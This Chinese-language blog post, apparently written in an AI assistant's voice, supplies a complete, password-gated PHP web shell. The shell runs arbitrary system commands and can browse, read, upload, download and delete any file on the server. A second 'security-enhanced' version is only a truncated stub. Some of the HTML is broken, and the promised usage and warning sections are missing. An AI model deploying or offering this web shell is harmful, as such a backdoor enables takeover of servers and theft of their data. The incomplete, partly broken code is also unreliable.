PHP 实现简单shell

wen PHP项目 2026-08-10 157

本文目录导读：

PHP 实现简单shell

基础版PHP Shell
安全增强版
使用说明
安全警告

我来为你提供一个简单的PHP Shell实现,包含基本功能和安全性考虑。

基础版PHP Shell

<?php
/**
 * 简单PHP Shell
 * 功能：执行系统命令、查看文件、系统信息
 */
// 错误报告设置（生产环境请关闭）
error_reporting(E_ALL);
ini_set('display_errors', 1);
// 简单认证功能
session_start();
$password = 'your_password_here'; // 请修改为你的密码
// 认证处理
if (isset($_POST['login'])) {
    if ($_POST['password'] === $password) {
        $_SESSION['logged'] = true;
    } else {
        echo "<script>alert('密码错误！');</script>";
    }
}
// 登出处理
if (isset($_GET['logout'])) {
    session_destroy();
    header('Location: ' . $_SERVER['PHP_SELF']);
    exit;
}
// 需要登录
if (!isset($_SESSION['logged']) || $_SESSION['logged'] !== true) {
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <title>登录</title>
        <style>
            body { font-family: Arial, sans-serif; background: #f0f0f0; display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0; }
            .login-box { background: white; padding: 30px; border-radius: 10px; box-shadow: 0 0 20px rgba(0,0,0,0.1); }
            input { padding: 10px; margin: 5px 0; width: 250px; border: 1px solid #ddd; border-radius: 5px; }
            button { padding: 10px 20px; background: #007bff; color: white; border: none; border-radius: 5px; cursor: pointer; }
        </style>
    </head>
    <body>
        <div class="login-box">
            <h2>登录</h2>
            <form method="POST">
                <input type="password" name="password" placeholder="请输入密码" required>
                <button type="submit" name="login">登录</button>
            </form>
        </div>
    </body>
    </html>
    <?php
    exit;
}
// 执行命令函数
function executeCommand($cmd) {
    if (function_exists('exec')) {
        exec($cmd . ' 2>&1', $output);
        return implode("\n", $output);
    } elseif (function_exists('system')) {
        ob_start();
        system($cmd . ' 2>&1');
        $output = ob_get_clean();
        return $output;
    } elseif (function_exists('passthru')) {
        ob_start();
        passthru($cmd . ' 2>&1');
        $output = ob_get_clean();
        return $output;
    } elseif (function_exists('shell_exec')) {
        return shell_exec($cmd . ' 2>&1');
    } else {
        return "无法执行命令";
    }
}
// 文件操作函数
function listFiles($dir) {
    $files = scandir($dir);
    $result = [];
    foreach ($files as $file) {
        if ($file == '.' || $file == '..') continue;
        $fullPath = $dir . '/' . $file;
        $type = is_dir($fullPath) ? '目录' : '文件';
        $size = is_file($fullPath) ? round(filesize($fullPath) / 1024, 2) . ' KB' : '-';
        $perm = substr(sprintf('%o', fileperms($fullPath)), -4);
        $result[] = [
            'name' => $file,
            'type' => $type,
            'size' => $size,
            'perm' => $perm,
            'mtime' => date('Y-m-d H:i:s', filemtime($fullPath))
        ];
    }
    return $result;
}
// 获取系统信息
function getSystemInfo() {
    $info = [];
    $info['PHP版本'] = phpversion();
    $info['服务器'] = $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown';
    $info['系统'] = php_uname();
    $info['当前目录'] = getcwd();
    $info['文件上传限制'] = ini_get('upload_max_filesize');
    $info['内存限制'] = ini_get('memory_limit');
    $info['脚本执行时间'] = ini_get('max_execution_time') . ' 秒';
    return $info;
}
// 初始化变量
$currentDir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();
if (!is_dir($currentDir)) {
    $currentDir = getcwd();
}
$commandResult = '';
$fileContent = '';
$systemInfo = [];
// 处理命令执行
if (isset($_POST['exec'])) {
    $command = $_POST['command'];
    $commandResult = executeCommand($command);
}
// 处理文件读取
if (isset($_GET['view'])) {
    $filePath = $_GET['view'];
    if (is_file($filePath)) {
        $fileContent = file_get_contents($filePath);
    }
}
// 处理文件上传
if (isset($_POST['upload'])) {
    if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) {
        $uploadPath = $currentDir . '/' . $_FILES['file']['name'];
        if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadPath)) {
            echo "<script>alert('文件上传成功！');</script>";
            echo "<script>window.location.href='?dir=" . urlencode($currentDir) . "';</script>";
        }
    }
}
// 处理文件创建
if (isset($_POST['create'])) {
    $fileName = $_POST['filename'];
    $content = $_POST['content'];
    $filePath = $currentDir . '/' . $fileName;
    if (file_put_contents($filePath, $content)) {
        echo "<script>alert('文件创建成功！');</script>";
    } else {
        echo "<script>alert('文件创建失败！');</script>";
    }
}
// 处理文件删除
if (isset($_GET['delete'])) {
    $filePath = $_GET['delete'];
    if (is_file($filePath)) {
        unlink($filePath);
        echo "<script>alert('文件已删除！');</script>";
    } elseif (is_dir($filePath)) {
        rmdir($filePath);
        echo "<script>alert('目录已删除！');</script>";
    }
}
// 处理文件下载
if (isset($_GET['download'])) {
    $filePath = $_GET['download'];
    if (is_file($filePath)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($filePath));
        header('Expires: 0');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        header('Content-Length: ' . filesize($filePath));
        readfile($filePath);
        exit;
    }
}
// 只有当请求系统信息时才获取
if (isset($_GET['action']) && $_GET['action'] == 'info') {
    $systemInfo = getSystemInfo();
}
?>
<!DOCTYPE html>
<html>
<head>PHP Shell</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background: #f5f5f5;
            margin: 0;
            padding: 20px;
        }
        .container {
            max-width: 1200px;
            margin: 0 auto;
            background: white;
            padding: 20px;
            border-radius: 10px;
            box-shadow: 0 0 20px rgba(0,0,0,0.1);
        }
        .header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 20px;
            padding-bottom: 20px;
            border-bottom: 2px solid #eee;
        }
        h1 {
            margin: 0;
            color: #333;
        }
        .nav a {
            margin-left: 10px;
            color: #007bff;
            text-decoration: none;
        }
        .nav a:hover {
            text-decoration: underline;
        }
        .command-box {
            background: #f8f9fa;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 15px;
        }
        .command-box input[type="text"] {
            width: 80%;
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 5px;
        }
        .command-box button {
            padding: 10px 20px;
            background: #007bff;
            color: white;
            border: none;
            border-radius: 5px;
            cursor: pointer;
        }
        .command-box button:hover {
            background: #0056b3;
        }
        .output {
            background: #2d2d2d;
            color: #fff;
            padding: 15px;
            border-radius: 5px;
            overflow-x: auto;
            white-space: pre-wrap;
            font-family: monospace;
            margin-top: 10px;
        }
        table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 15px;
        }
        th, td {
            padding: 10px;
            border: 1px solid #ddd;
            text-align: left;
        }
        th {
            background-color: #f8f9fa;
            font-weight: bold;
        }
        tr:hover {
            background-color: #f5f5f5;
        }
        .file-ops a {
            margin: 0 5px;
            text-decoration: none;
            color: #007bff;
        }
        .file-ops a:hover {
            text-decoration: underline;
        }
        .section {
            background: #f8f9fa;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
        }
        textarea {
            width: 100%;
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 5px;
            font-family: monospace;
            min-height: 100px;
        }
        .info-table td:first-child {
            width: 200px;
            font-weight: bold;
            background-color: #f8f9fa;
        }
    </style>
</head>
<body>
<div class="container">
    <div class="header">
        <h1>PHP Shell</h1>
        <div class="nav">
            <a href="?dir=<?php echo urlencode($currentDir); ?>">文件管理</a>
            <a href="?action=info">系统信息</a>
            <a href="?logout=1">退出登录</a>
        </div>
    </div>
    <?php if (isset($_GET['action']) && $_GET['action'] == 'info'): ?>
        <!-- 系统信息 -->
        <div class="section">
            <h3>系统信息</h3>
            <table class="info-table">
                <?php foreach ($systemInfo as $key => $value): ?>
                <tr>
                    <td><?php echo $key; ?></td>
                    <td><?php echo htmlspecialchars($value); ?></td>
                </tr>
                <?php endforeach; ?>
            </table>
        </div>
    <?php else: ?>
        <!-- 命令执行 -->
        <div class="command-box">
            <h3>命令执行</h3>
            <form method="POST">
                <input type="text" name="command" placeholder="输入命令（如: ls -la）" 
                       value="<?php echo isset($_POST['command']) ? htmlspecialchars($_POST['command']) : ''; ?>">
                <button type="submit" name="exec">执行</button>
            </form>
            <?php if (!empty($commandResult)): ?>
                <div class="output"><?php echo htmlspecialchars($commandResult); ?></div>
            <?php endif; ?>
        </div>
        <!-- 文件操作 -->
        <div class="section">
            <h3>文件管理</h3>
            <p>当前目录: <code><?php echo htmlspecialchars($currentDir); ?></code></p>
            <!-- 文件上传 -->
            <h4>文件上传</h4>
            <form method="POST" enctype="multipart/form-data">
                <input type="file" name="file" required>
                <button type="submit" name="upload">上传文件</button>
            </form>
            <!-- 创建文件 -->
            <h4>创建文件</h4>
            <form method="POST" style="margin-top: 10px;">
                <input type="text" name="filename" placeholder="文件名" required>
                <button type="submit" name="create">创建</button>
                <textarea name="content" placeholder="文件内容 (可选)"></textarea>
            </form>
            <!-- 文件列表 -->
            <h4>文件列表</h4>
            <table>
                <tr>
                    <th>名称</th>
                    <th>类型</th>
                    <th>大小</th>
                    <th>权限</th>
                    <th>修改时间</th>
                    <th>操作</th>
                </tr>
                <tr>
                    <td><a href="?dir=<?php echo urlencode(dirname($currentDir)); ?>">.. (上级目录)</a></td>
                    <td>目录</td>
                    <td>-</td>
                    <td>-</td>
                    <td>-</td>
                    <td>-</td>
                </tr>
                <?php 
                $files = listFiles($currentDir);
                foreach ($files as $file): 
                    $fullPath = $currentDir . '/' . $file['name'];
                ?>
                <tr>
                    <td>
                        <?php if ($file['type'] == '目录'): ?>
                            <a href="?dir=<?php echo urlencode($fullPath); ?>">📁 <?php echo htmlspecialchars($file['name']); ?></a>
                        <?php else: ?>
                            <a href="?dir=<?php echo urlencode($currentDir); ?>&view=<?php echo urlencode($fullPath); ?>">📄 <?php echo htmlspecialchars($file['name']); ?></a>
                        <?php endif; ?>
                    </td>
                    <td><?php echo $file['type']; ?></td>
                    <td><?php echo $file['size']; ?></td>
                    <td><?php echo $file['perm']; ?></td>
                    <td><?php echo $file['mtime']; ?></td>
                    <td class="file-ops">
                        <?php if ($file['type'] == '文件'): ?>
                            <a href="?dir=<?php echo urlencode($currentDir); ?>&download=<?php echo urlencode($fullPath); ?>">下载</a>
                        <?php endif; ?>
                        <a href="?dir=<?php echo urlencode($currentDir); ?>&delete=<?php echo urlencode($fullPath); ?>" 
                           onclick="return confirm('确定要删除吗？');">删除</a>
                    </td>
                </tr>
                <?php endforeach; ?>
            </table>
        </div>
        <!-- 文件查看器 -->
        <?php if (!empty($fileContent)): ?>
        <div class="section">
            <h3>文件内容: <?php echo htmlspecialchars($_GET['view']); ?></h3>
            <pre style="background: #2d2d2d; color: #fff; padding: 15px; border-radius: 5px; overflow-x: auto;"><?php echo htmlspecialchars($fileContent); ?></pre>
        </div>
        <?php endif; ?>
    <?php endif; ?>
</div>
</body>
</html>

安全增强版

<?php
/**
 * 安全增强版PHP Shell
 * 包含更多安全措施和功能
 */
// 安全配置
define('ALLOWED_IP', '127.0.0.1'); // 允许的IP，可修改为你的IP
define('LOG_FILE', 'shell.log');     // 日志文件
// IP限制
if ($_SERVER['REMOTE_ADDR'] !== ALLOWED_IP) {
    die('禁止访问');
}
// 记录日志
function writeLog($message) {
    $log = date('Y-m-d H:i:s') . " - " . $message . "\n";
    file_put_contents(LOG_FILE, $log, FILE_APPEND);
}
// 记录访问和操作
writeLog("IP: " . $_SERVER['REMOTE_ADDR'] . " - 访问");
// 命令白名单（可选）
$allowedCommands = ['ls', 'pwd', 'date', 'whoami', 'uname'];
function isAllowedCommand($cmd) {
    global $allowedCommands;
    $baseCmd = explode(' ', $cmd)[0];
    return in_array($baseCmd, $allowedCommands);
}
// 其他功能与基础版类似，但增加更多安全措施...
?>